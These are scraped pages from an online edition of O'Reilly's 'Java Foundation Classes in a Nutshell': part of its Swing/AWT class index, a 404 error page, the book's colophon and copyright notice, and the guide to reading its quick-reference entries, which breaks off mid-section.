JTree.DynamicUtilTreeNode: javax.swing

JTree.EmptySelectionModel: javax.swing

JTree.TreeModelHandler: javax.swing

JTree.TreeSelectionRedirector: javax.swing

JViewport: javax.swing

JViewport.AccessibleJViewport: javax.swing

JViewport.ViewListener: javax.swing

JWindow: javax.swing

JWindow.AccessibleJWindow: javax.swing

Kernel: java.awt.image

Key: java.awt.RenderingHints

KeyAdapter: java.awt.event

KeyBinding: javax.swing.text.JTextComponent

KeyEvent: java.awt.event

KeyListener: java.awt.event

Keymap: javax.swing.text

KeySelectionManager: javax.swing.JComboBox

KeyStroke: javax.swing

Label: java.awt

LabelPeer: java.awt.peer

LabelUI: javax.swing.plaf

LabelView: javax.swing.text

LayeredHighlighter: javax.swing.text

LayeredHighlighter.LayerPainter: javax.swing.text

LayerPainter: javax.swing.text.LayeredHighlighter

LayoutManager: java.awt

LayoutManager2: java.awt

LazyValue: javax.swing.UIDefaults

LeafElement: javax.swing.text.AbstractDocument

LightweightPeer: java.awt.peer

Line2D: java.awt.geom

Line2D.Double: java.awt.geom

Line2D.Float: java.awt.geom

LineBorder: javax.swing.border

LineBorderUIResource: javax.swing.plaf.BorderUIResource

LineBreakMeasurer: java.awt.font

LineMetrics: java.awt.font

LinkController: javax.swing.text.html.HTMLEditorKit

List: java.awt

ListCellRenderer: javax.swing

ListDataEvent: javax.swing.event

ListDataListener: javax.swing.event

ListModel: javax.swing

ListPainter: javax.swing.text.html.StyleSheet

ListPeer: java.awt.peer

ListSelectionEvent: javax.swing.event

ListSelectionListener: javax.swing.event

ListSelectionModel: javax.swing

ListUI: javax.swing.plaf

ListView: javax.swing.text.html

LookAndFeel: javax.swing

LookAndFeelInfo: javax.swing.UIManager

LookupOp: java.awt.image

LookupTable: java.awt.image

MatteBorder: javax.swing.border

MatteBorderUIResource: javax.swing.plaf.BorderUIResource

MediaTracker: java.awt

MemoryImageSource: java.awt.image

Menu: java.awt

MenuBar: java.awt

MenuBarPeer: java.awt.peer

MenuBarUI: javax.swing.plaf

MenuComponent: java.awt

MenuComponentPeer: java.awt.peer

MenuContainer: java.awt

MenuDragMouseEvent: javax.swing.event

MenuDragMouseListener: javax.swing.event

MenuElement: javax.swing

MenuEvent: javax.swing.event

MenuItem: java.awt

MenuItemPeer: java.awt.peer

MenuItemUI: javax.swing.plaf

MenuKeyEvent: javax.swing.event

MenuKeyListener: javax.swing.event

MenuListener: javax.swing.event

MenuPeer: java.awt.peer

MenuSelectionManager: javax.swing

MenuShortcut: java.awt

MinimalHTMLWriter: javax.swing.text.html

ModelListener: javax.swing.JTabbedPane

MouseAdapter: java.awt.event

MouseDragGestureRecognizer: java.awt.dnd

MouseEvent: java.awt.event

MouseEventListener: javax.swing.text.html.FormView

MouseInputAdapter: javax.swing.event

MouseInputListener: javax.swing.event

MouseListener: java.awt.event

MouseMotionAdapter: java.awt.event

MouseMotionListener: java.awt.event

MultiPixelPackedSampleModel: java.awt.image

MultipleMaster: java.awt.font

MutableAttributeSet: javax.swing.text

MutableComboBoxModel: javax.swing

MutableTreeNode: javax.swing.tree

NamedStyle: javax.swing.text.StyleContext

NodeDimensions: javax.swing.tree.AbstractLayoutCache

NoninvertibleTransformException: java.awt.geom

ObjectView: javax.swing.text.html

OpenType: java.awt.font

Option: javax.swing.text.html

OptionPaneUI: javax.swing.plaf

outsideTimerAction: javax.swing.ToolTipManager

OverlayLayout: javax.swing

PackedColorModel: java.awt.image

Pageable: java.awt.print

PageFormat: java.awt.print

Paint: java.awt

PaintContext: java.awt

PaintEvent: java.awt.event

Panel: java.awt

PanelPeer: java.awt.peer

PanelUI: javax.swing.plaf

Paper: java.awt.print

ParagraphAction: javax.swing.text.html.HTMLDocument.HTMLReader

ParagraphAttribute: javax.swing.text.AttributeSet

ParagraphConstants: javax.swing.text.StyleConstants

ParagraphView: javax.swing.text, javax.swing.text.html

ParameterBlock: java.awt.image.renderable

Parser: javax.swing.text.html.HTMLEditorKit, javax.swing.text.html.parser

ParserCallback: javax.swing.text.html.HTMLEditorKit

ParserDelegator: javax.swing.text.html.parser

PasswordView: javax.swing.text

PasteAction: javax.swing.text.DefaultEditorKit

PathIterator: java.awt.geom

PixelGrabber: java.awt.image

PixelInterleavedSampleModel: java.awt.image

PlainDocument: javax.swing.text

PlainView: javax.swing.text

Point: java.awt

Point2D: java.awt.geom

Point2D.Double: java.awt.geom

Point2D.Float: java.awt.geom

Polygon: java.awt

PopupMenu: java.awt

PopupMenuEvent: javax.swing.event

PopupMenuListener: javax.swing.event

PopupMenuPeer: java.awt.peer

PopupMenuUI: javax.swing.plaf

Position: javax.swing.text

Position.Bias: javax.swing.text

PreAction: javax.swing.text.html.HTMLDocument.HTMLReader

Printable: java.awt.print

PrinterAbortException: java.awt.print

PrinterException: java.awt.print

PrinterGraphics: java.awt.print

PrinterIOException: java.awt.print

PrinterJob: java.awt.print

PrintGraphics: java.awt

PrintJob: java.awt

ProfileDataException: java.awt.color

ProgressBarUI: javax.swing.plaf

ProgressMonitor: javax.swing

ProgressMonitorInputStream: javax.swing

QuadCurve2D: java.awt.geom

QuadCurve2D.Double: java.awt.geom

QuadCurve2D.Float: java.awt.geom

Raster: java.awt.image

RasterFormatException: java.awt.image

RasterOp: java.awt.image

Rectangle: java.awt

Rectangle2D: java.awt.geom

Rectangle2D.Double: java.awt.geom

Rectangle2D.Float: java.awt.geom

RectangularShape: java.awt.geom

RenderableImage: java.awt.image.renderable

RenderableImageOp: java.awt.image.renderable

RenderableImageProducer: java.awt.image.renderable

RenderContext: java.awt.image.renderable

RenderedImage: java.awt.image

RenderedImageFactory: java.awt.image.renderable

Renderer: javax.swing

RenderingHints: java.awt

RenderingHints.Key: java.awt

RepaintManager: javax.swing

ReplicateScaleFilter: java.awt.image

RescaleOp: java.awt.image

RGBImageFilter: java.awt.image

RootLayout: javax.swing.JRootPane

RootPaneContainer: javax.swing

RoundRectangle2D: java.awt.geom

RoundRectangle2D.Double: java.awt.geom

RoundRectangle2D.Float: java.awt.geom

RowMapper: javax.swing.tree

RTFEditorKit: javax.swing.text.rtf

RunElement: javax.swing.text.html.HTMLDocument

SampleModel: java.awt.image

Scrollable: javax.swing

ScrollBar: javax.swing.JScrollPane

Scrollbar: java.awt

ScrollbarPeer: java.awt.peer

ScrollBarUI: javax.swing.plaf

ScrollPane: java.awt

ScrollPaneConstants: javax.swing

ScrollPaneLayout: javax.swing

ScrollPaneLayout.UIResource: javax.swing

ScrollPanePeer: java.awt.peer

ScrollPaneUI: javax.swing.plaf

SectionElement: javax.swing.text.DefaultStyledDocument

Segment: javax.swing.text

Separator: javax.swing.JPopupMenu, javax.swing.JToolBar

SeparatorUI: javax.swing.plaf

Shape: java.awt

ShapeGraphicAttribute: java.awt.font

ShortLookupTable: java.awt.image

SimpleAttributeSet: javax.swing.text

SinglePixelPackedSampleModel: java.awt.image

SingleSelectionModel: javax.swing

SizeRequirements: javax.swing

SliderUI: javax.swing.plaf

SmallAttributeSet: javax.swing.text.StyleContext

SoftBevelBorder: javax.swing.border

SpecialAction: javax.swing.text.html.HTMLDocument.HTMLReader

SplitPaneUI: javax.swing.plaf

StateEdit: javax.swing.undo

StateEditable: javax.swing.undo

stillInsideTimerAction: javax.swing.ToolTipManager

StringContent: javax.swing.text

StringSelection: java.awt.datatransfer

Stroke: java.awt

Style: javax.swing.text

StyleConstants: javax.swing.text

StyleConstants.CharacterConstants: javax.swing.text

StyleConstants.ColorConstants: javax.swing.text

StyleConstants.FontConstants: javax.swing.text

StyleConstants.ParagraphConstants: javax.swing.text

StyleContext: javax.swing.text

StyleContext.NamedStyle: javax.swing.text

StyleContext.SmallAttributeSet: javax.swing.text

StyledDocument: javax.swing.text

StyledEditorKit: javax.swing.text

StyledEditorKit.AlignmentAction: javax.swing.text

StyledEditorKit.BoldAction: javax.swing.text

StyledEditorKit.FontFamilyAction: javax.swing.text

StyledEditorKit.FontSizeAction: javax.swing.text

StyledEditorKit.ForegroundAction: javax.swing.text

StyledEditorKit.ItalicAction: javax.swing.text

StyledEditorKit.StyledTextAction: javax.swing.text

StyledEditorKit.UnderlineAction: javax.swing.text

StyledTextAction: javax.swing.text.StyledEditorKit

StyleSheet: javax.swing.text.html

StyleSheet.BoxPainter: javax.swing.text.html

StyleSheet.ListPainter: javax.swing.text.html

SwingConstants: javax.swing

SwingPropertyChangeSupport: javax.swing.event

SwingUtilities: javax.swing

SystemColor: java.awt

SystemFlavorMap: java.awt.datatransfer

TabableView: javax.swing.text

TabbedPaneUI: javax.swing.plaf

TabExpander: javax.swing.text

TableCell: javax.swing.text.TableView

TableCellEditor: javax.swing.table

TableCellRenderer: javax.swing.table

TableColumn: javax.swing.table

TableColumnModel: javax.swing.table

TableColumnModelEvent: javax.swing.event

TableColumnModelListener: javax.swing.event

TableHeaderUI: javax.swing.plaf

TableModel: javax.swing.table

TableModelEvent: javax.swing.event

TableModelListener: javax.swing.event

TableRow: javax.swing.text.TableView

TableUI: javax.swing.plaf

TableView: javax.swing.text

TableView.TableCell: javax.swing.text

TableView.TableRow: javax.swing.text

TabSet: javax.swing.text

TabStop: javax.swing.text

Tag: javax.swing.text.html.HTML

TagAction: javax.swing.text.html.HTMLDocument.HTMLReader

TagElement: javax.swing.text.html.parser

TextAction: javax.swing.text

TextArea: java.awt

TextAreaPeer: java.awt.peer

TextAttribute: java.awt.font

TextComponent: java.awt

TextComponentPeer: java.awt.peer

TextEvent: java.awt.event

TextField: java.awt

TextFieldPeer: java.awt.peer

TextHitInfo: java.awt.font

TextLayout: java.awt.font

TextLayout.CaretPolicy: java.awt.font

TextLine.TextLineMetrics: java.awt.font

TextLineMetrics: java.awt.font.TextLine

TextListener: java.awt.event

TextUI: javax.swing.plaf

TexturePaint: java.awt

TileObserver: java.awt.image

Timer: javax.swing

TitledBorder: javax.swing.border

TitledBorderUIResource: javax.swing.plaf.BorderUIResource

ToggleButtonModel: javax.swing.JToggleButton

ToolBarUI: javax.swing.plaf

Toolkit: java.awt

ToolTipManager: javax.swing

ToolTipManager.insideTimerAction: javax.swing

ToolTipManager.outsideTimerAction: javax.swing

ToolTipManager.stillInsideTimerAction: javax.swing

ToolTipUI: javax.swing.plaf

Transferable: java.awt.datatransfer

TransferableProxy: java.awt.dnd.DropTargetContext

TransformAttribute: java.awt.font

Transparency: java.awt

TreeCellEditor: javax.swing.tree

TreeCellRenderer: javax.swing.tree

TreeExpansionEvent: javax.swing.event

TreeExpansionListener: javax.swing.event

TreeModel: javax.swing.tree

TreeModelEvent: javax.swing.event

TreeModelHandler: javax.swing.JTree

TreeModelListener: javax.swing.event

TreeNode: javax.swing.tree

TreePath: javax.swing.tree

TreeSelectionEvent: javax.swing.event

TreeSelectionListener: javax.swing.event

TreeSelectionModel: javax.swing.tree

TreeSelectionRedirector: javax.swing.JTree

TreeUI: javax.swing.plaf

TreeWillExpandListener: javax.swing.event

UIDefaults: javax.swing

UIDefaults.ActiveValue: javax.swing

UIDefaults.LazyValue: javax.swing

UIManager: javax.swing

UIManager.LookAndFeelInfo: javax.swing

UIResource: javax.swing.DefaultListCellRenderer, javax.swing.plaf, javax.swing.ScrollPaneLayout, javax.swing.table.DefaultTableCellRenderer

UnderlineAction: javax.swing.text.StyledEditorKit

UndoableEdit: javax.swing.undo

UndoableEditEvent: javax.swing.event

UndoableEditListener: javax.swing.event

UndoableEditSupport: javax.swing.undo

UndoManager: javax.swing.undo

UnknownTag: javax.swing.text.html.HTML

UnsupportedFlavorException: java.awt.datatransfer

UnsupportedLookAndFeelException: javax.swing

Utilities: javax.swing.text

VariableHeightLayoutCache: javax.swing.tree

View: javax.swing.text

ViewFactory: javax.swing.text

ViewListener: javax.swing.JViewport

ViewportLayout: javax.swing

ViewportUI: javax.swing.plaf

Window: java.awt

WindowAdapter: java.awt.event

WindowConstants: javax.swing

WindowEvent: java.awt.event

WindowListener: java.awt.event

WindowPeer: java.awt.peer

WinListener: javax.swing.JMenu

WrappedPlainView: javax.swing.text

WritableRaster: java.awt.image

WritableRenderedImage: java.awt.image

Previous | Home
35.1. The javax.swing.undo Package | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/Java Enterprise/jfc/ch37_01.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Colophon (Java Foundation Classes)

 Java™ Foundation Classes in a Nutshell Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal appearing on the cover of Java Foundation Classes in a Nutshell is a Florida panther (Felis concolor coryi, one of the rarest mammals on the globe.

These large cats feature a long slender tail, and are anywhere from pale to dark brown on the top of their bodies, and white to tan on the underside. Their ears, nose, and tip of their tail are almost black. Males range from 100-150 pounds and are seven feet long, while females range from 50-100 pounds and are six feet long. A female can produce one to four kittens every two years, and they become fertile just over the age of two.

Florida panthers used to be found in several southeastern states in the U.S., but urbanization and agriculture have caused their habitat to drastically shrink to the point where these animals can now be found only in Florida. They require some forestation and underbrush, for hunting and nesting, though they can be found in swamplands, as well. They prey primarily on deer, wild hogs, raccoons, and birds.

Florida panthers are highly endangered, with reports of only fifty remaining in the world. The biggest threat is loss of habitat. A few organizations are working to keep this animal from becoming extinct. There is a Florida Panther National Wildlife Refuge in the Big Cypress Watershed on which some female panthers have given birth to and raised their kittens.

Nicole Arigo was the production editor for Java Foundation Classes in a Nutshell. Nancy Crumpton provided production services and wrote the index. Nicole Arigo and Jane Ellin provided quality control.

Edie Freedman designed the cover of this book, using an original drawing by Lorrie LeJeune. Kathleen Wilson produced the cover layout with Quark XPress 3.3 using Adobe's ITC Garamond font.

Alicia Cech designed the interior layout based on a series design by Nancy Priest. The text was written in DocBook SGML with extensions developed by Chris Maden and David Flanagan for Java code; the design was implemented in gtroff by Lenny Muellner. Interior fonts are Adobe ITC Garamond and Adobe ITC Franklin Gothic. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Nicole Arigo.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


O'Reilly Copyright Statement (Java Foundation Classes)

 Java™ Foundation Classes in a Nutshell Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ Foundation Classes in a Nutshell
by David Flanagan
ISBN 1-56592-488-6

Print book published 1999 by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Book Home | Book Index | 0.1. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How To Use This Quick Reference (Java Foundation Classes)

 Java Foundation Classes Search this book

How To Use This Quick Reference

The quick-reference section that follows packs a lot of information into a small space. This introduction explains how to get the most out of that information. It describes how the quick reference is organized and how to read the individual quick-ref entries.

1. Finding a Quick Reference Entry

The quick reference is organized into chapters, one per package. Each chapter begins with an overview of the package and includes a hierarchy diagram for the classes and interfaces in the package. Following this overview are quick reference entries for all of the classes and interfaces in the package.

Entries are organized alphabetically by class and package name, so that related classes are grouped near each other. Thus, in order to look up a quick reference entry for a particular class, you must also know the name of the package that contains that class. Usually, the package name is obvious from the context, and you should have no trouble looking up the quick-reference entry you want. Use the tabs on the outside edge of the book and the "dictionary-style" headers on the upper outside corner of each page to help you find the package and class you are looking for.

Occasionally, you may need to look up a class for which you do not already know the package. In this case, refer to Chapter 36, "Class Index". This index allows you to look up a class by class name and find out what package it is part of.

Previous | Home | Next
Part 2. API Quick Reference | Book Index | Reading a Quick Reference Entry
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reading a Quick Reference Entry (Java Foundation Classes)

 Java Foundation Classes Search this book

2. Reading a Quick Reference Entry

Each quick-reference entry contains quite a bit of information. The sections that follow describe the structure of a quick-reference entry, explaining what information is available, where it is found, and what it means. While reading the descriptions that follow, you will find it helpful to flip through the reference section itself to find examples of the features being described.

2.1. Class Name, Package Name, Availability, and Flags

Each quick-reference entry begins with a four-part title that specifies the name, package, and availability of the class, and may also specify various additional flags that describe the class. The class name appears in bold at the upper-left of the title. The package name appears, in smaller print, in the lower-left, below the class name.

The upper-right portion the title indicates the availability of the class; it specifies the earliest release that contained the class. If a class was introduced in Java 1.1, for example, this portion of the title reads "Java 1.1". If a class was introduced in Version 1.2 of the Java 2 platform, the availability reads "Java 1.2", for simplicity's sake. The availability section of the title is also used to indicate whether a class has been deprecated, and, if so, in what release. For example, it might read "Java 1.1; Deprecated in Java 1.2".

In the lower-right corner of the title you may find a list of flags that describe the class. The possible flags and their meanings are as follows:

accessible

The class, or a superclass, implements javax.accessibility.Accessible. This flag may be followed by a parenthesized list that specifies the specific types of accessibility supported by this class. The possible accessibility types are action, selection, value, text, and hypertext. When present, a type indicates that the javax.accessibility.AccessibleContext for this class can return an accessiblity object of that type. For example, a class that is accessible(action,selection) has an AccessibleContext whose getAccessibleAction() and getAccessibleSelection() methods return non-nulljavax.accessibility.AccessibleAction and javax.accessibility.AccessibleSelection objects, respectively. The AccessibleContext for an accessible component has a getAccessibleComponent() method that returns an AccessibleComponent object. Because this is true for all components, however, it is not specially flagged here.

AccessibleContext classes are typically implemented as protected inner classes of the accessible class itself. This book does not contain reference entries for these classes because all the necessary information about them is contained in the accessible class flag of the accessible class, in the single-line inner class synopsis that appears in the containing accessible class, and in Chapter 22, "The javax.accessibility Package".

AWT component

The class extends java.awt.Component, but does not extend javax.swing.JComponent.

bean container

The class may contain JavaBeans components.

checked

The class is a checked exception, which means that it extends java.lang.Exception, but not java.lang.RuntimeException. In other words, it must be declared in the throws clause of any method that may throw it.

cloneable

The class, or a superclass, implements java.lang.Cloneable.

collection

The class, or a superclass, implements java.util.Collection or java.util.Map.

comparable

The class, or a superclass, implements java.lang.Comparable.

error

The class extends java.lang.Error.

event

The class extends java.util.EventObject.

event adapter

The class, or a superclass, implements java.util.EventListener, and the class name ends with "Adapter".

event listener

The class, or a superclass, implements java.util.EventListener.

layout manager

The class, or a superclass, implements java.awt.LayoutManager.

model

The class is Swing class whose name ends with "Model".

PJ1.1

The class or interface is part of the Personal Java 1.1 platform.

PJ1.1(mod)

The class or interface is supported, in modified form, by the Personal Java 1.1 platform.

PJ1.1(opt)

The class or interface is an optional part of the Personal Java 1.1 platform. Support for the class is implementation-dependent.

remote

The class, or a superclass, implements java.rmi.Remote.

runnable

The class, or a superclass, implements java.lang.Runnable.

serializable

The class, or a superclass, implements java.io.Serializable and may be serialized.

shape

The class, or a superclass, implements java.awt.Shape.

swing component

The class extends javax.swing.JComponent.

unchecked

The class is an unchecked exception, which means it extends java.lang.RuntimeException and therefore does not need to be declared in the throws clause of a method that may throw it.

2.2. Description

The title of each quick-reference entry is followed by a short description of the most important features of the class or interface. This description may be anywhere from a couple of sentences to several paragraphs long.

2.3. Synopsis

The most important part of every quick-reference entry is the class synopsis, which follows the title and description. The synopsis for a class looks a lot like the source code for the class, except that the method bodies are omitted and some additional annotations are added. If you know Java syntax, you know how to read the class synopsis.

The first line of the synopsis contains information about the class itself. It begins with a list of class modifiers, such as public, abstract, and final. These modifiers are followed by the class or interface keyword and then by the name of the class. The class name may be followed by an extends clause that specifies the superclass and an implements clause that specifies any interfaces the class implements.

The class definition line is followed by a list of the fields and methods that the class defines. Once again, if you understand basic Java syntax, you should have no trouble making sense of these lines. The listing for each member includes the modifiers, type, and name of the member. For methods, the synopsis also includes the type and name of each method parameter and an optional throws clause that lists the exceptions the method can throw. The member names are in boldface, so that it is easy to scan the list of members looking for the one you want. The names of method parameters are in italics to indicate that they are not to be used literally. The member listings are printed on alternating gray and white backgrounds to keep them visually separate.

2.3.1. Member availability and flags

Each member listing is a single line that defines the API for that member. These listings use Java syntax, so their meaning is immediately clear to any Java programmer. There is some auxiliary information associated with each member synopsis, however, that requires explanation.

Recall that each quick-reference entry begins with a title section that includes the release in which the class was first defined. When a member is introduced into a class after the initial release of the class, the version in which the member was introduced appears, in small print, to the left of the member synopsis. For example, if a class was first introduced in Java 1.1, but had a new method added in Version 1.2 of Java 2, the title contains the string "Java 1.1", and the listing for the new member is preceded by the number "1.2". Furthermore, if a member has been deprecated, that fact is indicated with a hash mark (#) to the left of the member synopsis.

The area to the right of the member synopsis is used to display a variety of flags that provide additional information about the member. Some of these flags indicate additional specification details that do not appear in the member API itself. Other flags contain implementation-specific information. This information can be quite useful in understanding the class and in debugging your code, but be aware that it may differ between implementations. The implementation-specific flags displayed in this book are based on Sun's implementation of Java for Microsoft Windows.

The following flags may be displayed to the right of a member synopsis:

native

An implementation-specific flag that indicates that a method is implemented in native code. Although native is a Java keyword and can appear in method signatures, it is part of the method implementation, not part of its specification. Therefore, this information is included with the member flags, rather than as part of the member listing. This flag is useful as a hint about the expected performance of a method.

synchronized

An implementation-specific flag that indicates that a method implementation is declared synchronized, meaning that it obtains a lock on the object or class before executing. Like the native keyword, the synchronized keyword is part of the method implementation, not part of the specification, so it appears as a flag, not in the method synopsis itself. This flag is a useful hint that the method is probably implemented in a thread-safe manner.

Whether or not a method is thread-safe is part of the method specification, and this information should appear (although it often does not) in the method documentation. There are a number of different ways to make a method thread-safe, however, and declaring the method with the synchronized keyword is only one possible implementation. In other words, a method that does not bear the synchronized flag can still be thread-safe.

Overrides:

Indicates that a method overrides a method in one of its superclasses. The flag is followed by the name of the superclass that the method overrides. This is a specification detail, not an implementation detail. As we'll see in the next section, overriding methods are usually grouped together in their own section of the class synopsis. The Overrides: flag is only used when an overriding method is not grouped in that way.

Implements:

Indicates that a method implements a method in an interface. The flag is followed by the name of the interface that is implemented. This is a specification detail, not an implementation detail. As we'll see in the next section, methods that implement an interface are usually grouped into a special section of the class synopsis. The Implements: flag is only used for methods that are not grouped in this way.

empty

Indicates that the implementation of the method has an empty body. This can be a hint to the programmer that the method may need to be overridden in a subclass.

constant

An implementation flag that indicates that a method has a trivial implementation. Only methods with a void return type can be truly empty. Any method declared to return a value must have at least a return statement. The "constant" flag indicates that the method implementation is empty except for a return statement that returns a constant value. Such a method might have a body like return null; or return false;. Like the "empty" flag, this flag indicates that a method may need to be overridden.

default:

This flag is used with property accessor methods that read the value of a property (i.e., methods whose names begins with "get" and take no arguments). The flag is followed by the default value of the property. Strictly speaking, default property values are a specification detail. In practice, however, these defaults are not always documented, and care should be taken, because the default values may change between implementations.

Not all property accessors have a "default:" flag. A default value is determined by dynamically loading the class in question, instantiating it using a no-argument constructor, and then calling the method to find out what it returns. This technique can be used only on classes that can be dynamically loaded and instantiated and that have no-argument constructors, so default values are shown for those classes only. Furthermore, note that when a class is instantiated using a different constructor, the default values for its properties may be different.

bound

This flag is used with property accessor methods for bound properties of JavaBeans components. The presence of this flag means that calling the method generates a java.beans.PropertyChangeEvent. This is a specification detail, but it is sometimes not documented. Information about bound properties is obtained from the BeanInfo object for the class.

constrained

Indicates that a JavaBeans component property is constrained. In other words, the method may throw a java.beans.PropertyVetoException. This is a specification detail, not an implementation detail.

expert

Indicates that the BeanInfo object for this class specifies that this method is intended for use by experts only. This hint is intended for visual programming tools, but users of this book may find the hint useful as well.

hidden

Indicates that the BeanInfo object for this class specifies that this method is for internal use only. This is a hint that visual programming tools should hide the property or event from the programmer. This book does not hide these methods, of course, but this flag does indicate that you should probably avoid using the method.

preferred

Indicates that the BeanInfo object for this class specifies that this method is an accessor for a default or preferred property or event. This is a hint to visual programming tools to display the property or event in a prominent way, and it may also be a useful hint to readers of this book.

=

For static final fields, this flag is followed by the constant value of the field. Only constants of primitive and String types and constants with the value null are displayed. Some constant values are specification details, while others are implementation details. The reason that symbolic constants are defined, however, is so you can write code that does not rely directly upon the constant value. Use this flag to help you understand the class, but do not rely upon the constant values in your own programs.

2.3.2. Functional grouping of members

Within a class synopsis, the members are not listed in strict alphabetical order. Instead, they are broken down into functional groups and listed alphabetically within each group. Constructors, methods, fields, and inner classes are all listed separately. Instance methods are kept separate from static (class) methods. Constants are separated from non-constant fields. Public members are listed separately from protected members. Grouping members by category breaks a class down into smaller, more comprehensible segments, making the class easier to understand. This grouping also makes it easier for you to find a desired member.

Functional groups are separated from each other in a class synopsis with Java comments, such as "// Public Constructors", "// Inner Classes", and "// Methods Implementing Servlet". The various functional categories are as follows (in the order in which they appear in a class synopsis):

Constructors

Displays the constructors for the class. Public constructors and protected constructors are displayed separately in subgroupings. If a class defines no constructor at all, the Java compiler adds a default no-argument constructor that is displayed here. If a class defines only private constructors, it cannot be instantiated, so a special, empty grouping entitled "No Constructor" indicates this fact. Constructors are listed first because the first thing you do with most classes is instantiate them by calling a constructor.

Constants

Displays all of the constants (i.e., fields that are declared static and final) defined by the class. Public and protected constants are displayed in separate subgroups. Constants are listed here, near the top of the class synopsis, because constant values are often used throughout the class as legal values for method parameters and return values.

Inner Classes

Groups all of the inner classes and interfaces defined by the class or interface. For each inner class, there is a single-line synopsis. Each inner class also has its own quick-reference entry that includes a full class synopsis for the inner class. Like constants, inner classes are listed near the top of the class synopsis because they are often used by a number of other members of the class.

Static Methods

Lists the static methods (class methods) of the class, broken down into subgroups for public static methods and protected static methods.

Event Listener Registration Methods

Lists the public instance methods that register and deregister event listener objects with the class. The names of these methods begin with the words "add" and "remove" and end in "Listener". These methods are always passed a java.util.EventListener object. The methods are typically defined in pairs, so the pairs are listed together. The methods are listed alphabetically by event name, rather than by method name.

Property Accessor Methods

Lists the public instance methods that set or query the value of a property or attribute of the class. The names of these methods begin with the words "set", "get", and "is", and their signatures follow the patterns set out in the JavaBeans specification. Although the naming conventions and method signature patterns are defined for JavaBeans, classes and interfaces throughout the Java platform define property accessor methods that follow these conventions and patterns. Looking at a class in terms of the properties it defines can be a powerful tool for understanding the class, so property methods are grouped together in this section.

Property accessor methods are listed alphabetically by property name, not by method name. This means that the "set", "get", and "is" methods for a property all appear together. This book defines a property accessor method in a somewhat more general way than the JavaBeans specification does. A method is considered to be a property accessor if it follows the JavaBeans conventions itself or if it has the same name as a method that follows those conventions. Consider the setSize() method of the Component class. There are two versions of this method, and, since they have the same name, they obviously share a purpose and deserve to be grouped together. However, only one version of the method strictly follows the JavaBeans signature patterns. The relaxed definition of what constitutes a property accessor method allows these two methods to be listed together, as they should be.

Public Instance Methods

Contains all of the public instance methods that are not grouped elsewhere.

Implementing Methods

Groups the methods that implement the same interface. There is one subgroup for each interface implemented by the class. Methods that are defined by the same interface are almost always related to each other, so this is a useful functional grouping of methods.

Note that if an interface method is also an event registration method or a property accessor method, it is listed both in this group and in the event or property group. This situation does not arise often, but when it does, all of the functional groupings are important and useful enough to warrant the duplicate listing. When an interface method is listed in the event or property group, it displays an "Implements:" flag that specifies the name of the interface of which it is part.

Overriding Methods

Groups the methods that override methods of a superclass broken down into subgroups by superclass. This is typically a useful grouping, because it helps to make it clear how a class modifies the default behavior of its superclasses. In practice, it is also often true that methods that override the same superclass are functionally related to each other.

Sometimes a method that overrides a superclass is also a property accessor method or (more rarely) an event registration method. When this happens, the method is grouped with the property or event methods and displays a flag that indicates which superclass it overrides. The method is not listed with other overriding methods, however. Note that this is different from interface methods, which, because they are more strongly functionally related, may have duplicate listings in both groups.

Protected Instance Methods

Contains all of the protected instance methods that are not grouped elsewhere.

Fields

Lists all the non-constant fields of the class, breaking them down into subgroups for public and protected static fields and public and protected instance fields. Many classes do not define any publicly accessible fields. For those that do, many object-oriented programmers prefer not to use those fields directly, but instead to use accessor methods when such methods are available.

Deprecated Members

Deprecated methods and deprecated fields are grouped at the very bottom of the class synopsis. Use of these members is strongly discouraged.

2.4. Class Hierarchy

For any class or interface that has a non-trivial class hierarchy, the class synopsis is followed by a Hierarchy section. This section lists all of the superclasses of the class, as well as any interfaces implemented by those superclasses. It may also list any interfaces extended by an interface. In the hierarchy listing, arrows indicate superclass to subclass relationships, while the interfaces implemented by a class follow the class name in parentheses. For example, the following hierarchy indicates that java.awt.AWTException extends Exception which extends Throwable (which implements Serializable) which extends Object:

Object-->Throwable(Serializable)-->Exception-->AWTException

If a class has subclasses, the "Hierarchy" section is followed by a "Subclasses" section that lists those subclasses. If an interface has implementations, the "Hierarchy" section is followed by an "Implementations" section that lists those implementations. While the "Hierarchy" section shows ancestors of the class, the "Subclasses" or "Implementations" section shows descendants.

2.5. Cross References

The class hierarchy section of a quick-reference entry is followed by a number of optional "cross reference" sections that indicate other, related classes and methods that may be of interest. These sections are the following:

Passed To

This section lists all of the methods and constructors that are passed an object of this type as an argument. This is useful when you have an object of a given type and want to figure out what you can do with it.

Returned By

This section lists all of the methods (but not constructors) that return an object of this type. This is useful when you know that you want to work with an object of this type, but don't know how to obtain one.

Thrown By

